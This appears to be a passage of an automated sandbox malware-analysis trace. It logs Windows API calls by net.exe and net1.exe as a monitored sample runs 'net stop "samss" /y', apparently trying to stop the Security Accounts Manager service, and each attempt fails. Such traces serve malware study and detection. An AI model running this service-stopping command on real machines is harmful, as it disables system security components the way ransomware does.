	[0262.344] QueryServiceStatus (in: hService=0xdce50, lpServiceStatus=0x24fa50 | out: lpServiceStatus=0x24fa50*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0262.345] NetApiBufferFree (Buffer=0xe0c70) returned 0x0
	[0262.346] CloseServiceHandle (hSCObject=0xdce50) returned 1
	[0262.346] wcscpy_s (in: _Destination=0xffff80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0262.346] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0262.348] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffff5b50, nSize=0x800, Arguments=0xffff7f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0262.352] GetFileType (hFile=0xb) returned 0x2
	[0262.352] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f948 | out: lpMode=0x24f948) returned 1
	[0262.353] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffff5b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x24f940, lpReserved=0x0 | out: lpBuffer=0xffff5b50*, lpNumberOfCharsWritten=0x24f940*=0x47) returned 1
	[0262.356] GetFileType (hFile=0xb) returned 0x2
	[0262.357] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f948 | out: lpMode=0x24f948) returned 1
	[0262.358] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xfffd1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f940, lpReserved=0x0 | out: lpBuffer=0xfffd1efc*, lpNumberOfCharsWritten=0x24f940*=0x2) returned 1
	[0262.358] _ultow (in: _Dest=0x88f, _Radix=2423216 | out: _Dest=0x88f) returned="2191"
	[0262.358] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffff5b50, nSize=0x800, Arguments=0xffff7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0262.359] GetFileType (hFile=0xb) returned 0x2
	[0262.359] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f948 | out: lpMode=0x24f948) returned 1
	[0262.360] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffff5b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x24f940, lpReserved=0x0 | out: lpBuffer=0xffff5b50*, lpNumberOfCharsWritten=0x24f940*=0x34) returned 1
	[0262.361] GetFileType (hFile=0xb) returned 0x2
	[0262.362] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f948 | out: lpMode=0x24f948) returned 1
	[0262.362] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xfffd1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f940, lpReserved=0x0 | out: lpBuffer=0xfffd1efc*, lpNumberOfCharsWritten=0x24f940*=0x2) returned 1
	[0262.363] NetApiBufferFree (Buffer=0xd4d40) returned 0x0
	[0262.363] NetApiBufferFree (Buffer=0xdc0e0) returned 0x0
	[0262.363] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0262.363] exit (_Code=2) 

Process:
	id = "79"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x21a5000"
	os_pid = "0x36dc"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "77"
	os_parent_pid = "0x34a4"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3189
	os_tid = 0x36e0

	[0262.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefdd0 | out: lpSystemTimeAsFileTime=0xefdd0*(dwLowDateTime=0x6c2065b0, dwHighDateTime=0x1d5cdef)) 
	[0262.019] GetCurrentProcessId () returned 0x36dc
	[0262.019] GetCurrentThreadId () returned 0x36e0
	[0262.019] GetTickCount () returned 0x1186a38
	[0262.019] QueryPerformanceCounter (in: lpPerformanceCount=0xefdd8 | out: lpPerformanceCount=0xefdd8*=40377218048) returned 1
	[0262.020] GetModuleHandleW (lpModuleName=0x0) returned 0xfffd0000
	[0262.020] __set_app_type (_Type=0x1) 
	[0262.021] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffe9c9c) returned 0x0
	[0262.021] __getmainargs (in: _Argc=0xffff4780, _Argv=0xffff4790, _Env=0xffff4788, _DoWildCard=0, _StartInfo=0xffff479c | out: _Argc=0xffff4780, _Argv=0xffff4790, _Env=0xffff4788) returned 0
	[0262.021] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0262.022] GetConsoleOutputCP () returned 0x1b5
	[0262.179] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffffcec0 | out: lpCPInfo=0xffffcec0) returned 1
	[0262.179] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0262.184] sprintf_s (in: _DstBuf=0xefd78, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0262.184] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0262.188] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0262.188] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0262.188] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0262.188] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xefb10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0262.188] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6e) returned 0x23c060
	[0262.188] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0262.189] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xefd68 | out: Buffer=0xefd68*=0x234d40) returned 0x0
	[0262.189] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xefd68 | out: Buffer=0xefd68*=0x23c0e0) returned 0x0
	[0262.189] _fileno (_File=0x7fefe122a80) returned 0
	[0262.189] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0262.190] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0262.190] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0262.190] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0262.190] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0262.190] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0262.190] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0262.190] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0262.190] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0262.190] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0262.190] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0262.190] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0262.190] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0262.191] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0262.191] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0262.191] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0262.191] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0262.191] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0262.191] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0262.191] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0262.191] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0262.191] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0262.191] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0262.191] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0262.191] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0262.191] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0262.191] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0262.192] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0262.192] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0262.192] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0262.192] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0262.192] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0262.192] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0262.192] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0262.192] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0262.192] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0262.192] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0262.192] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0262.192] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0262.192] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0262.192] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0262.192] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0262.192] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0262.192] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0262.193] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0262.193] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0262.193] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0262.193] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0262.193] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0262.193] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0262.193] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0262.193] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0262.193] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0262.193] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0262.193] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0262.193] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0262.193] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0262.193] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0262.193] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0262.193] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0262.193] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0262.193] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0262.194] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0262.194] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0262.194] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0262.194] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0262.194] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0262.195] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x23cdf0
	[0262.206] GetServiceKeyNameW (in: hSCManager=0x23cdf0, lpDisplayName="SAMSS", lpServiceName=0xffff5750, lpcchBuffer=0xefc88 | out: lpServiceName="", lpcchBuffer=0xefc88) returned 0
	[0262.208] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0262.208] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0262.208] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0262.208] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0262.208] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0262.208] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0262.208] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0262.208] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0262.208] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0262.209] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0262.209] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0262.209] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0262.209] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0262.209] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0262.209] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0262.209] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0262.209] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0262.209] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0262.209] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0262.209] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0xefc90 | out: bufptr=0xefc90) returned 0x0
	[0262.214] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0xefc48 | out: Buffer=0xefc48*=0x240c70) returned 0x0
	[0262.214] OpenServiceW (hSCManager=0x23cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x23ce50
	[0262.375] QueryServiceStatus (in: hService=0x23ce50, lpServiceStatus=0xefbf0 | out: lpServiceStatus=0xefbf0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0262.376] NetApiBufferFree (Buffer=0x240c70) returned 0x0
	[0262.376] CloseServiceHandle (hSCObject=0x23ce50) returned 1
	[0262.377] wcscpy_s (in: _Destination=0xffff80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0262.377] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0262.379] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffff5b50, nSize=0x800, Arguments=0xffff7f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0262.382] GetFileType (hFile=0xb) returned 0x2
	[0262.383] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xefae8 | out: lpMode=0xefae8) returned 1
	[0262.384] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffff5b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0xefae0, lpReserved=0x0 | out: lpBuffer=0xffff5b50*, lpNumberOfCharsWritten=0xefae0*=0x47) returned 1
	[0262.385] GetFileType (hFile=0xb) returned 0x2
	[0262.385] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xefae8 | out: lpMode=0xefae8) returned 1
	[0262.386] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xfffd1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xefae0, lpReserved=0x0 | out: lpBuffer=0xfffd1efc*, lpNumberOfCharsWritten=0xefae0*=0x2) returned 1
	[0262.387] _ultow (in: _Dest=0x88f, _Radix=981840 | out: _Dest=0x88f) returned="2191"
	[0262.387] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffff5b50, nSize=0x800, Arguments=0xffff7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0262.387] GetFileType (hFile=0xb) returned 0x2
	[0262.388] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xefae8 | out: lpMode=0xefae8) returned 1
	[0262.388] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffff5b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0xefae0, lpReserved=0x0 | out: lpBuffer=0xffff5b50*, lpNumberOfCharsWritten=0xefae0*=0x34) returned 1
	[0262.389] GetFileType (hFile=0xb) returned 0x2
	[0262.390] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xefae8 | out: lpMode=0xefae8) returned 1
	[0262.390] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xfffd1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xefae0, lpReserved=0x0 | out: lpBuffer=0xfffd1efc*, lpNumberOfCharsWritten=0xefae0*=0x2) returned 1
	[0262.392] NetApiBufferFree (Buffer=0x234d40) returned 0x0
	[0262.392] NetApiBufferFree (Buffer=0x23c0e0) returned 0x0
	[0262.392] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0262.392] exit (_Code=2) 

Process:
	id = "80"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x5e9c000"
	os_pid = "0x3714"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3202
	os_tid = 0x3718


Process:
	id = "81"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0xc662000"
	os_pid = "0x38f4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "80"
	os_parent_pid = "0x3714"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3330
	os_tid = 0x38f8

	[0268.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcff30 | out: lpSystemTimeAsFileTime=0xcff30*(dwLowDateTime=0x6fb275b0, dwHighDateTime=0x1d5cdef)) 
	[0268.007] GetCurrentProcessId () returned 0x38f4
	[0268.007] GetCurrentThreadId () returned 0x38f8
	[0268.007] GetTickCount () returned 0x118819f
	[0268.007] QueryPerformanceCounter (in: lpPerformanceCount=0xcff38 | out: lpPerformanceCount=0xcff38*=40975975455) returned 1
	[0268.009] GetModuleHandleW (lpModuleName=0x0) returned 0xffbb0000
	[0268.009] __set_app_type (_Type=0x1) 
	[0268.009] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffbc9c9c) returned 0x0
	[0268.009] __getmainargs (in: _Argc=0xffbd4780, _Argv=0xffbd4790, _Env=0xffbd4788, _DoWildCard=0, _StartInfo=0xffbd479c | out: _Argc=0xffbd4780, _Argv=0xffbd4790, _Env=0xffbd4788) returned 0
	[0268.010] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0268.010] GetConsoleOutputCP () returned 0x1b5
	[0268.010] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffbdcec0 | out: lpCPInfo=0xffbdcec0) returned 1
	[0268.011] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0268.015] sprintf_s (in: _DstBuf=0xcfed8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0268.015] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0268.018] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0268.018] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0268.018] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0268.018] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xcfc70, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0268.018] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x6e) returned 0x1dc060
	[0268.019] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0268.019] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xcfec8 | out: Buffer=0xcfec8*=0x1d4d40) returned 0x0
	[0268.019] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xcfec8 | out: Buffer=0xcfec8*=0x1dc0e0) returned 0x0
	[0268.019] _fileno (_File=0x7fefe122a80) returned 0
	[0268.019] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0268.020] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0268.020] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0268.020] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0268.020] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0268.020] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0268.020] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0268.020] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0268.020] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0268.020] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0268.020] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0268.020] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0268.020] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0268.020] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0268.020] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0268.020] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0268.021] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0268.021] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0268.021] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0268.021] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0268.021] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0268.021] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0268.021] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0268.021] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0268.021] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0268.021] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0268.021] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0268.021] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0268.021] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0268.021] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0268.022] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0268.022] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0268.022] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0268.022] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0268.022] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0268.022] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0268.022] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0268.022] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0268.022] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0268.022] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0268.022] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0268.022] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0268.022] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0268.022] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0268.022] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0268.022] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0268.022] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0268.023] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0268.023] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0268.023] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0268.023] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0268.023] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0268.023] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0268.023] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0268.023] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0268.023] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0268.023] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0268.023] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0268.023] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0268.023] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0268.023] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0268.023] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0268.024] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0268.024] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0268.024] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0268.024] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0268.024] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0268.024] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x1dcdf0
	[0268.227] GetServiceKeyNameW (in: hSCManager=0x1dcdf0, lpDisplayName="SAMSS", lpServiceName=0xffbd5750, lpcchBuffer=0xcfde8 | out: lpServiceName="", lpcchBuffer=0xcfde8) returned 0
	[0268.229] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0268.229] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0268.229] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0268.229] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0268.230] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0268.230] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0268.230] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0268.230] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0268.230] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0268.230] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0268.230] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0268.230] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0268.230] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0268.230] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0268.230] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0268.230] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0268.230] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0268.230] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0268.230] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0268.231] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0xcfdf0 | out: bufptr=0xcfdf0) returned 0x0
	[0268.235] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0xcfda8 | out: Buffer=0xcfda8*=0x1e0c70) returned 0x0
	[0268.235] OpenServiceW (hSCManager=0x1dcdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x1dce50
	[0268.235] QueryServiceStatus (in: hService=0x1dce50, lpServiceStatus=0xcfd50 | out: lpServiceStatus=0xcfd50*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0268.236] NetApiBufferFree (Buffer=0x1e0c70) returned 0x0
	[0268.236] CloseServiceHandle (hSCObject=0x1dce50) returned 1
	[0268.237] wcscpy_s (in: _Destination=0xffbd80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0268.237] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
